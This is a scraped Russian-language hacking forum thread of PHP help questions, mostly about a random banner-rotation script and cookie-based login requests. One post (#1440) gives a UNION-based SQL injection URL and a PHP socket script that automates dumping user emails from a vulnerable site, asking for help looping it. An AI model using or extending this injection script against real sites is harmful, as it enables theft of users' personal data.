ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1431  
Старый 03.01.2008, 17:32
Аватар для Meanor
Meanor
Познающий
Регистрация: 09.09.2007
Сообщений: 66
Провел на форуме:
188412

Репутация: 41
По умолчанию

Вот пример, name'ы заменяешь на соответствующие названия картинки баннера + формат картинки изменишь.
В хтмл файле, в нужных местах вставляешь [%468Х60%], [%120Х600%], [%100Х100%], в те места, где должен (должны) быть соответствующий баннер.
Все картинки баннеров сложены в папку banners.
PHP код:
$buf=implode('',file('templates/site.htm')); //Загружаем хтмл файл сайта

//Создаем массивы с баннерами
$ban1 = array('1_name1.png' ,'1_name2.png''1_name3g.pn'); // для 468Х60 
$ban2 = array('2_name1.png''2_name2.png',' 2_name3.png''2_name4.png'); // для 120Х600 
$ban3 = array('3_name1.png''3_name2.png'); // для 100Х100 

//Рандомим индексы массивов
$index1 rand(0,(count($ban1)-1));
$index2 rand(0,(coun($ban2)-1));
$index3 rand(0,(count($ban3)-1));

//Готовим баннеры хтмл'ом
$banner1 '<img src=\"banners/'.$ban1["$index1"].'\" />'
$banner2 '<img src=\"banners/'.$ban2["$index1"].'\" />'
$banner3 '<img src=\"banners/'.$ban3["$index1"].'\" />'

//Вставляем баннеры в сайт
$buf=str_replace("[%468Х60%]",$banner1,$buf); 
$buf=str_replace("[%120Х600%]",$banner2,$buf); 
$buf=str_replace("[%100Х100%]",$banner3,$buf); 
П.с. А последнюю строчку своего сообщения ты забыл

Последний раз редактировалось Meanor; 03.01.2008 в 17:40..
 
Ответить с цитированием

  #1432  
Старый 03.01.2008, 17:39
Аватар для Boxs
Boxs
Banned
Регистрация: 07.11.2007
Сообщений: 27
Провел на форуме:
145472

Репутация: 8
По умолчанию

Цитата:
Сообщение от Meanor  
Вот пример, name'ы заменяешь на соответствующие названия картинки баннера + формат картинки изменишь.
В хтмл файле, в нужных местах вставляешь [%468Х60%], [%120Х600%], [%100Х100%], в те места, где должен (должны) быть соответствующий баннер.
Все картинки баннеров сложены в папку banners.
PHP код:
$buf=implode('',file('templates/site.htm')); //Загружаем хтмл файл сайта

//Создаем массивы с баннерами
$ban1 = array('1_name1.png','1_name2.png','1_name3.png');
$ban2 = array('2_name1.png','2_name2.png','2_name3.png','2_name4.png');
$ban3 = array('3_name1.png','3_name2.png');

$index1 rand(0,(count($ban1)-1));
$index2 rand(0,(coun($ban2)-1));
$index3 rand(0,(count($ban3)-1));


$banner1 '<img src=\"banners/'.$ban1["$index1"].'\" />'
$banner2 '<img src=\"banners/'.$ban2["$index1"].'\" />'
$banner3 '<img src=\"banners/'.$ban3["$index1"].'\" />'

$buf=str_replace("[%468Х60%]",$banner1,$buf); 
$buf=str_replace("[%120Х600%]",$banner2,$buf); 
$buf=str_replace("[%100Х100%]",$banner3,$buf); 

слушай мне нужна чтоб ставился виде хтмл
да и ещё чтоб можно удалять и редактировать

пример:

<!-- Yandex CY --><a href="http://www.yandex.ru/cy?base=0&amp;host=www.site.ru" target="_blank"><img src="http://www.yandex.ru/cycounter?www.site.ru" width=88 height=31 border=0></a><!-- /Yandex CY -->

Последний раз редактировалось Boxs; 03.01.2008 в 17:43..
 
Ответить с цитированием

  #1433  
Старый 03.01.2008, 17:44
Аватар для Meanor
Meanor
Познающий
Регистрация: 09.09.2007
Сообщений: 66
Провел на форуме:
188412

Репутация: 41
По умолчанию

Цитата:
Сообщение от Boxs  
слушай мне нужна чтоб ставился виде хтмл
да и ещё чтоб можно удалять и редактировать

пример:

<!-- Yandex CY --><a href="http://www.yandex.ru/cy?base=0&amp;host=www.mpchat.com" target="_blank"><img src="http://www.yandex.ru/cycounter?www.mpchat.com" width=88 height=31 border=0></a><!-- /Yandex CY -->
Я не понимаю, что тебе конкретно нужно, чтобы адрес ссылки тоже менялся в зависимости от картинки баннера? тогда просто делаешь еще параллельный массив с адресом ссылок, потом, имея отрандомленный индекс извлекаешь из обоих массивов информацию и хтмл'ишь ее в нужный тебе вид, а потом выводишь...
 
Ответить с цитированием

  #1434  
Старый 03.01.2008, 17:47
Аватар для Boxs
Boxs
Banned
Регистрация: 07.11.2007
Сообщений: 27
Провел на форуме:
145472

Репутация: 8
По умолчанию

вот такой скрипт нужно на писать



помогите на писать


Последний раз редактировалось Boxs; 03.01.2008 в 20:05..
 
Ответить с цитированием

  #1435  
Старый 03.01.2008, 20:55
Аватар для scrat
scrat
Постоянный
Регистрация: 08.04.2007
Сообщений: 853
Провел на форуме:
5812656

Репутация: 1540


Отправить сообщение для scrat с помощью ICQ
По умолчанию

Цитата:
Сообщение от Boxs  
вот такой скрипт нужно на писать

помогите на писать

нефтыкнул что должен скрипт делать?
 
Ответить с цитированием

  #1436  
Старый 03.01.2008, 21:25
Аватар для Meanor
Meanor
Познающий
Регистрация: 09.09.2007
Сообщений: 66
Провел на форуме:
188412

Репутация: 41
По умолчанию

Цитата:
Сообщение от scrat  
нефтыкнул что должен скрипт делать?
Либо скрипт котрый выводит такие формочки с таким текстом, либо этот скрипт должен выводить картинки типа той, при помощи lib gd %)

сори за флейм.
 
Ответить с цитированием

  #1437  
Старый 03.01.2008, 22:08
Аватар для Boxs
Boxs
Banned
Регистрация: 07.11.2007
Сообщений: 27
Провел на форуме:
145472

Репутация: 8
По умолчанию

Цитата:
Сообщение от scrat  
нефтыкнул что должен скрипт делать?

на кортинке всё понятно
 
Ответить с цитированием

  #1438  
Старый 03.01.2008, 22:36
Аватар для Kaimi
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Есть сайт, там авторизация через кукисы. Как сделать, чтобы скрипт после отправлении пост запроса(авторизации) мог с помощью гет запроса получать страницы требующие авторизации?
 
Ответить с цитированием

  #1439  
Старый 03.01.2008, 22:39
Аватар для Macro
Macro
Постоянный
Регистрация: 11.11.2006
Сообщений: 595
Провел на форуме:
1845062

Репутация: 1079


По умолчанию

Цитата:
Сообщение от Kaimi  
Есть сайт, там авторизация через кукисы. Как сделать, чтобы скрипт после отправлении пост запроса(авторизации) мог с помощью гет запроса получать страницы требующие авторизации?
http://php.net/fsockopen

Используй функцию fsockopen и fwrite в ее хэндл
 
Ответить с цитированием

  #1440  
Старый 04.01.2008, 00:55
Аватар для ElteRUS
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме:
7215020

Репутация: 1423
По умолчанию

Допустим на сайте имеется sql инъекция (MySQL база). Есть доступ к таблице users и поле email. Вывод осуществляем так

http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users

Выводится только 1 юзер из n-ого количества. Пользуемся лимитом для перебора, но в таблице до*я юзеров - нужно автоматизировать процесс. Я сделал такой скрипт

PHP код:
<?php

    $PORT 
80;
    
$ADDR gethostbyname("site.com");

    
$fp socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

    
socket_connect($fp,$ADDR,$PORT);

    
$n 2;
    
$str1 "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
    
$str2 ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";

    
$str $str1.$n.$str2;

    
socket_write($fp,$str,strlen($str));

    while(
$out socket_read($fp,2048))
    {
       
$s strstr($out,"<h1>");
       
$nm strpos($s,"</h1>");
       echo 
substr($s,4,$nm 4);    
        
    }

    
socket_close($fp);

    echo 
"<br>";
?>
Все отлично работает - скрипт выводит нам мейл (разумеется работает только с этим сайтом)
НО проблема - почему этот скрипт не работает в цикле ???? Тоесть я хочу, что бы переменная $n (значение лимита) менялась в цикле и каждую итерацию скрипт загружал новую страницу, извлекал оттуда мейл и что-то с ним делал (например записывал в файл). Например так

PHP код:
for($i=0;$i 10;$i++)
{

    
$str1 "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
    
$str2 ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";

    
$str $str1.$i.$str2;

    
socket_write($fp,$str,strlen($str));

    while(
$out socket_read($fp,2048))
    {}

Но не работает. Подскажите плиз почему ?

Последний раз редактировалось ElteRUS; 04.01.2008 в 01:10..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ